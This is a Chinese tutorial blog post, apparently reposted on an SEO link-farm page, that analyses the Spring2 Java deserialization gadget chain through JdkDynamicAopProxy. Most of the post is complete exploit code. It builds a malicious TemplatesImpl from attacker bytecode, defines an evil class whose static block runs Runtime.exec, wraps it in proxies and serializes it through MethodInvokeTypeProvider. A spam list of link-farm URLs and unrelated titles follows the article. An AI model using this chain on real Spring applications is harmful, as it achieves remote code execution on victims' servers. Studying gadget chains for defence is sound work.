当前位置： 首页 > wzjs >正文

菏泽做网站赚钱链接网站

wzjs 2025/9/8 23:48:24
菏泽做网站,赚钱链接网站,互联网+大学生创新创业项目,网站建设业务前景让我们回到Spring Spring2 在 Spring1 的触发链上有所变换： 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler使用了 spring-aop 的 JdkDynamicAopProxy ，并完成了后续触发 TemplatesImpl 的流程 简而言之，换了一个chain&am…

让我们回到Spring

Spring2 在 Spring1 的触发链上有所变换：

  • 替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler
  • 使用了 spring-aop 的 JdkDynamicAopProxy ，并完成了后续触发 TemplatesImpl 的流程

简而言之，换了一个chain，而kick-off和sink都没有变动

JAVA环境

java version "1.7.0_80"

Java(TM) SE Runtime Environment (build 1.7.0_80-b15)

Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)

依赖版本

  • spring-core 依赖版本：4.1.4.RELEASE
  • spring-aop 依赖版本：4.1.4.RELEASE
  • jdk 版本：1.7

检查依赖配置

确认项目中是否正确引入了

  • spring-core
  • spring-aop

的依赖。如果使用的是 Maven，可以在 pom.xml 文件中添加以下依赖：

<!-- https://mvnrepository.com/artifact/org.springframework/spring-aop -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-aop</artifactId><version>4.1.4.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency><groupId>org.springframework</groupId><artifactId>spring-core</artifactId><version>4.1.4.RELEASE</version>
</dependency>

资源下载

  • maven spring-aop 4.1.4.RELEASE
  • maven spring-core 4.1.4.RELEASE
  • Java7 下载
  • Spring框架 v4.1.4.RELEASE 源码

前置知识

JdkDynamicAopProxy - chain

org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现，同时其还实现了

  • AopProxy 接口
  • InvocationHandler接口
  • Serializable 接口
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {...
}
invoke

我们来看一下 invoke 方法：

  1. 获取 AdvisedSupport 里的 TargetSource
  2. 调用 getTarget() 方法返回其中的对象
  3. 调用 AopUtils#invokeJoinpointUsingReflection() 方法反射调用对象的 method 方法并返回
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {MethodInvocation invocation;Object oldProxy = null;boolean setProxyContext = false;TargetSource targetSource = this.advised.targetSource;Class<?> targetClass = null;Object target = null;try {...// May be null. Get as late as possible to minimize the time we "own" the target,// in case it comes from a pool.target = targetSource.getTarget();if (target != null) {targetClass = target.getClass();}// Get the interception chain for this method.List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);// Check whether we have any advice. If we don't, we can fallback on direct// reflective invocation of the target, and avoid creating a MethodInvocation.if (chain.isEmpty()) {// We can skip creating a MethodInvocation: just invoke the target directly// Note that the final invoker must be an InvokerInterceptor so we know it does// nothing but a reflective operation on the target, and no hot swapping or fancy proxying.retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args);}else {// We need to create a method invocation...invocation = new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);// Proceed to the joinpoint through the interceptor chain.retVal = invocation.proceed();}...}return retVal;...
}
AopUtils#invokeJoinpointUsingReflection

AopUtils#invokeJoinpointUsingReflection() 方法里就是简单的反射调用，核心步骤就是：

  1. ReflectionUtils.makeAccessible(method);将方法设为可用
  2. method.invoke(target, args);传参调用方法
public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args)throws Throwable {// Use reflection to invoke the method.try {ReflectionUtils.makeAccessible(method);return method.invoke(target, args);}...
}

由此可以看到 JdkDynamicAopProxy 这个 InvocationHandler 类能出色的完成 TemplatesImpl 的对象调用，可以直接配合 Spring1 中的触发调用链

攻击构造

与 Spring1 类似，如果忘记了Spring1的内容，建议先看一下之前这篇文章

JAVA反序列化深入学习（十一）：Spring1

恶意代码主体

与Spring1几乎一致，不再赘述

public void Spring2() throws Exception {// 生成包含恶意类字节码的 TemplatesImpl 类TemplatesImpl tmpl = generateTemplatesImpl();// 使用 AnnotationInvocationHandler 动态代理Class<?>       c           = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor<?> constructor = c.getDeclaredConstructors()[0];constructor.setAccessible(true);Type typeTemplateProxy = JdkDynamicAopProxy(constructor, tmpl);Object objects = TypeProvider(constructor, typeTemplateProxy);writeObjectToFile((Serializable)objects, fileName);readFileObject(fileName);
}

恶意TemplatesImpl构造

生成包含恶意类字节码的 TemplatesImpl 类，跟之前的都类似，不再赘述

protected TemplatesImpl generateTemplatesImpl()  throws IOException, NoSuchFieldException, IllegalAccessException {// 读取恶意类存到 bytes[] 数组中byte[] bytes = Files.readAllBytes(Paths.get("D:\\EvilClassForSpring2.class"));// 初始化 TemplatesImpl 对象TemplatesImpl tmpl = new TemplatesImpl();Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(tmpl, new byte[][]{bytes});// _name 不能为空Field name = TemplatesImpl.class.getDeclaredField("_name");name.setAccessible(true);name.set(tmpl, "neolock");return tmpl;
}

恶意类构造

跟之前的都类似，不再赘述

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;public class EvilClassForSpring2 extends AbstractTranslet {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {// No implementation needed}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) {// No implementation needed}
}

JdkDynamicAopProxy

与Spring1的ObjectFactoryDelegatingInvocationHandler类似，简单描述一下过程：

  1. 实例化 AdvisedSupport
  2. 将 TargetSource 设置为 tmpl，使getTarget方法返回 TemplatesImpl
  3. JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget,并且会调用 method.invoke(getTarget的返回值,args)
    1. 此时返回值被在第2步我们使用动态代理改为了 TemplatesImpl
    2. 接下来需要 method 是 newTransformer()，就可以触发调用链了
  4. 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxy
    1. JdkDynamicAopProxy 本身就是个 InvocationHandler
      1. 使用它来代理一个类，这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法
    2. 用JdkDynamicAopProxy代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
      1. 代理类同时拥有两个类的方法
      2. 既能被强转为 TypeProvider.getType() 的返回值，又可以在其中找到 newTransformer 方法
protected Type JdkDynamicAopProxy(Constructor<?> constructor, TemplatesImpl tmpl) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {// 实例化 AdvisedSupportAdvisedSupport as = new AdvisedSupport();as.setTarget(tmpl);// JdkDynamicAopProxy 的 invoke 方法触发 TargetSource 的 getTarget 返回 tmpl,并且会调用 method.invoke(返回值,args)// 此时返回值被我们使用动态代理改为了 TemplatesImpl,接下来需要 method 是 newTransformer(),就可以触发调用链了Class<?>       clazz          = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0];aopConstructor.setAccessible(true);// 使用动态代理出的 AdvisedSupport 类实例化 JdkDynamicAopProxyInvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);// JdkDynamicAopProxy 本身就是个 InvocationHandler// 使用它来代理一个类，这样在这个类调用时将会触发 JdkDynamicAopProxy 的 invoke 方法// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类// 这样这个代理类同时拥有两个类的方法，既能被强转为 TypeProvider.getType() 的返回值，又可以在其中找到 newTransformer 方法Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Type.class, Templates.class}, aopProxy);return typeTemplateProxy;
}
与Spring1的差异

在Spring1，通过 AnnotationInvocationHandler 来将 getObject 的返回值设置为 TemplatesImpl

Map<String, Object> map = new HashMap<String, Object>();map.put("getObject", tmpl);// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法，使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);

而Spring2则是通过实例化AdvisedSupport，并直接将其TargetSource 设置为 tmpl，从而实现将 getTarget 的返回值设置为 TemplatesImpl

// 实例化 AdvisedSupport
AdvisedSupport as = new AdvisedSupport();
as.setTarget(tmpl);

而其他部分的代码都类似，可见这里就是核心差异点

TypeProvider

与Spring1一致，没有变动，不再赘述

protected Object TypeProvider(Constructor<?> constructor, Type typeTemplateProxy) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, NoSuchFieldException {// 接下来代理  TypeProvider 的 getType() 方法，使其返回我们创建的 typeTemplateProxy 代理类HashMap<String, Object> map = new HashMap<>();map.put("getType", typeTemplateProxy);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法，使其返回 typeTemplateProxyObject typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{typeProviderClass}, invocationHandler);// 初始化 MethodInvokeTypeProviderClass<?>       clazz = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");Constructor<?> cons   = clazz.getDeclaredConstructors()[0];cons.setAccessible(true);// 由于 MethodInvokeTypeProvider 初始化时会立即调用  ReflectionUtils.invokeMethod(method, provider.getType())// 所以初始化时我们随便给个 Method，methodName 我们使用反射写进去Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);Field  field   = clazz.getDeclaredField("methodName");field.setAccessible(true);field.set(objects, "newTransformer");return objects;
}

总结

以上就是 Spring2 链分析的全部内容了，如果理解了 Spring1，那看 Spring2 就很简单了，最后总结一下

利用说明

使用 JdkDynamicAopProxy 替换 ObjectFactoryDelegatingInvocationHandler，并完成最终的调用链

Gadget 总结

  • kick-off gadget：org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider#readObject
  • sink gadget：com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
  • chain gadget：org.springframework.aop.framework.JdkDynamicAopProxy#invoke

调用链展示

SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()SerializableTypeWrapper.TypeProvider(Proxy).getType()AnnotationInvocationHandler.invoke()ReflectionUtils.invokeMethod()Templates(Proxy).newTransformer()JdkDynamicAopProxy.invoke()AopUtils.invokeJoinpointUsingReflection()TemplatesImpl.newTransformer()
  • Java 反序列化漏洞（三） - CB/Groovy/Hibernate/Spring | 素十八

文章转载自：

http://KmeyGRBY.dsLLL.cn
http://Jo1ujaHz.dsLLL.cn
http://sRFJ2tly.dsLLL.cn
http://DY8LWvCu.dsLLL.cn
http://xDjYnegZ.dsLLL.cn
http://QI6vs0T6.dsLLL.cn
http://qXQbaBXi.dsLLL.cn
http://V0J9Fcs6.dsLLL.cn
http://Wk8Ox1DO.dsLLL.cn
http://NL1iCr8O.dsLLL.cn
http://hR7gY3pd.dsLLL.cn
http://xPEpbbyo.dsLLL.cn
http://pUlaDSeU.dsLLL.cn
http://E69nACHG.dsLLL.cn
http://kiDO6xrf.dsLLL.cn
http://DeZNQrpm.dsLLL.cn
http://EOf5McJQ.dsLLL.cn
http://HikzwFQ3.dsLLL.cn
http://ty9bMPJl.dsLLL.cn
http://FNmzPLi8.dsLLL.cn
http://W5gEE8i2.dsLLL.cn
http://r2VmUSqh.dsLLL.cn
http://rpZ33oDG.dsLLL.cn
http://jiFhWy7E.dsLLL.cn
http://y06bFJkC.dsLLL.cn
http://I8AoSmQ2.dsLLL.cn
http://Dab08ZYa.dsLLL.cn
http://Ie6h8BrL.dsLLL.cn
http://nQha98Ws.dsLLL.cn
http://H0wVCDsC.dsLLL.cn
http://www.dtcms.com/wzjs/645221.html

相关文章：

  • 怎么建设电影网站wordpress 外贸多语言
  • 银行官方网站小工具 wordpress
  • 做印刷网站公司wordpress function require
  • ui设计公司网站wordpress文章底部
  • 域名备案的网站建设书建设一个网站主要受哪些因素的影响
  • 甘肃住房与城乡建设部网站高端网站设计v芯hyhyk1推好
  • 深圳 网站设手机端网站开发教程
  • 电子商务网站的建设论文物流行业网站建设方案
  • 苏州专业网站设计制作公司设计之家官网效果图
  • 网站备案时要不要关闭内容营销包括
  • 建设商城网站多少钱域名证书怎么申请
  • 哪个网站可以上传设计的作品怎么做网站seo优化
  • 丹灶建网站sap.net网站开发
  • 贵州省住房和城乡建设厅网网站网站带支付源码
  • 做自己的网站流量怎么如何注册属于自己的网站
  • 成品软件源码网站大全阿里服务器可以做多少个网站
  • o2o商超网站建设手机怎么创建自己的网站平台
  • 移动网站seo推广计划方案模板
  • 北京网络网站建设价格低公司网站要备案吗
  • 北京外包网站怎么制作网站
  • 图片素材网站哪个最多牛商网网站后台
  • 丹东网站seo我的网站在百度搜不到了
  • 网站建设制作设计建设银行网站怎么打印明细
  • 上海嘉定网站建设公司漂亮的数据型网站
  • 网站正在建设中...为什么护卫神华龙网重庆网络问政平台
  • 四川网站建设多少钱建站平台wp
  • 网站建设优缺点wordpress 变装小说
  • 网页设计与网站建设全攻略樱桃企业网站管理系统v1.1-cms
  • 浙江建设职业技术学院继续教育学院网站网推app下载
  • 网站建设微信运营推广小程序流量点击推广平台